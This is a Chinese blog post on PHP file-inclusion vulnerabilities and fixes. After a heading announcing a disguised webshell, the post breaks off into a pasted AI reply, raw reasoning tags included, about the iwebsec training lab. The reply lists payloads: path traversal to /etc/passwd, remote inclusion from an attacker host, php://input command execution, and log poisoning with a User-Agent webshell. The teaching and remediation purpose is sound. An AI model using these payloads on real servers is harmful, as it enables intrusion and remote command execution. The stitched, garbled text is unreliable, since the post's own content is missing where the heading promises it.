突破上传之文件包含漏洞以及修复方案

这篇博客探讨了PHP的文件包含功能,包括include()、require()等语句的使用,以及本地和远程包含的概念。文章提到了利用WAF绕过安全防护,通过上传伪装的txt或jpg文件创建恶意小马文件的攻击方式。对于修复文件包含漏洞,建议采用白名单机制,限制可包含的文件类型,以防止攻击。

1.文件包含功能概述

对一个简单的 PHP 小程序来说,在不同的 PHP 脚本之间剪切或复制某一函数不是大问题, 但是当进入项目开发时,函数的数量将会变得相当庞大,并且函数具有较强的复杂性,这时你就会把它们保存到一个便于随时调用的函数库中,以便于该函数在整个项目中可以随时被调用。通常情况下这个函数库是一个文件,我们称为代码库。当为特定领域的功能编写函数时,希望通过把自定义的这些函数组织到一起,并存放到 单独的代码文件中。当团队开发项目时,如果有统一的通用函数文件,则将大幅缩短项目的开发周期,并使 得项目的层次结构分明。

2.常见包含语句

include() 只有代码执行到include()语句时才将文件包含进来,发生错误时只给出一个警告,向下执行

require() 程序一执行立即调用文件,如果发生错误,语句会输出错误信息,并终止脚本的运行。

include_once() 当重复调用同一文件时,程序只能调用一次。

require_once()同上

3.本地和远程包含

waf能够拦截我们上传的带有危险函数的php文件,所以我们需要将其改为其他格式上传,比如txt,jpg

txt的小马

<think>嗯,用户这次在询问iwebsec靶场中文件包含漏洞的具体信息,包括原理、利用方法和解决方案。用户已经提供了两条引用信息,但主要涉及的是文件上传漏洞和JBoss漏洞,与当前问题关联不大。需要专注在文件包含漏洞本身。 首先回顾文件包含漏洞的基本原理。这种漏洞通常发生在PHP应用中,当开发者使用include、require等函数时,如果参数能被用户控制,攻击者就能通过路径遍历读取敏感文件或执行恶意代码。在iwebsec靶场中,应该会模拟这种场景让学习者练习。 关于利用方法,需要考虑几种常见类型:本地文件包含允许访问系统文件,比如/etc/passwd;远程文件包含则需要allow_url_include开启,可以加载外部恶意脚本。在靶场环境中,可能需要尝试不同路径遍历技巧,比如使用../突破目录限制,或者利用PHP伪协议如php://filter来读取源码。 解决方案方面,应该强调输入验证的重要性。开发者必须严格检查包含文件的路径参数,禁止用户输入绝对路径或特殊字符。也可以配置PHP环境关闭危险功能,比如设置allow_url_include=Off。靶场练习时可能还需要演示如何修复漏洞代码。 注意到用户引用的资料提到1098等端口,但这些其实是JBoss漏洞的默认端口,与文件包含无关。用户可能之前混淆了漏洞类型,需要明确区分开。iwebsec作为综合靶场应该包含多种漏洞场景,用户现在聚焦的是文件包含这一特定模块。 最后考虑生成相关问题时要针对性设计:文件包含的防御措施可以作为一个重点问题;另外靶场实操技巧也值得探讨,比如如何绕过某些过滤规则;还可以比较不同伪协议的应用场景。这些问题能帮助用户深入理解漏洞本质。 </think>以下是iwebsec靶场中**文件包含漏洞**的原理、利用方法及解决方案的详细说明: --- ### **一、漏洞原理** 文件包含漏洞(File Inclusion Vulnerability)主要源于动态包含文件时未对用户输入的路径进行严格过滤。在PHP中常见的包含函数如`include()`、`require()`等,若开发者未验证用户控制的参数(如`?file=xxx`),攻击者可构造恶意路径实现: 1. **本地文件包含(LFI)** 读取服务器敏感文件(如`/etc/passwd`、配置文件、源码): ``` http://target.com/index.php?file=../../../../../etc/passwd ``` 2. **远程文件包含(RFI)** 当`allow_url_include=On`(PHP配置)时,包含远程服务器上的恶意脚本: ``` http://target.com/index.php?file=http://attacker.com/shell.txt ``` 3. **利用伪协议** 如`php://filter`读取源码(Base64编码防解析): ``` http://target.com/index.php?file=php://filter/convert.base64-encode/resource=index.php ``` --- ### **二、iwebsec靶场利用方法** 靶场环境通常模拟以下场景: 1. **基础LFI利用** 通过参数遍历目录读取`/flag`或配置文件: ```url /index.php?filename=../../../../var/www/html/flag.php ``` 2. **日志注入** 包含访问日志(如`/var/log/apache2/access.log`),注入PHP代码到User-Agent头,再包含日志执行代码。 3. **PHP伪协议利用** - 读取源码:`?file=php://filter/read=convert.base64-encode/resource=config.php` - 执行代码:`?file=php://input` + POST体:`<?php system("id");?>` 4. **文件上传组合利用** 结合文件上传漏洞上传图片马后包含执行:`?file=./uploads/shell.jpg` --- ### **三、解决方案** 1. **输入验证与过滤** - 禁止用户输入包含路径遍历字符(`../`、`..\`)或绝对路径 - 白名单限制允许包含的文件名(如只允许`homepage.php`、`contact.php`) ```php $allowed_files = ["home.php", "about.php"]; if (in_array($_GET['file'], $allowed_files)) { include($_GET['file']); } ``` 2. **关闭危险配置** 修改`php.ini`: ```ini allow_url_include = Off allow_url_fopen = Off ``` 3. **使用硬编码或映射** 避免直接使用用户输入作为包含路径: ```php $page = $_GET['page']; $safe_pages = [ 'home' => 'home.php', 'about' => 'about.php' ]; include($safe_pages[$page] ?? 'default.php'); ``` 4. **设置目录限制** 限定文件包含的根目录: ```php $base_dir = '/var/www/safe_dir/'; $file = basename($_GET['file']); // 移除路径 include($base_dir . $file); ``` --- ### **漏洞复现示例(iwebsec靶场)** 1. 访问存在漏洞的URL:`http://target/vul?file=../../../../etc/passwd` → 返回系统用户列表 2. 包含日志文件: - 修改请求头:`User-Agent: <?php system($_GET['cmd']);?>` - 包含日志:`?file=/var/log/apache2/access.log&cmd=id` → 执行系统命令 ---
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值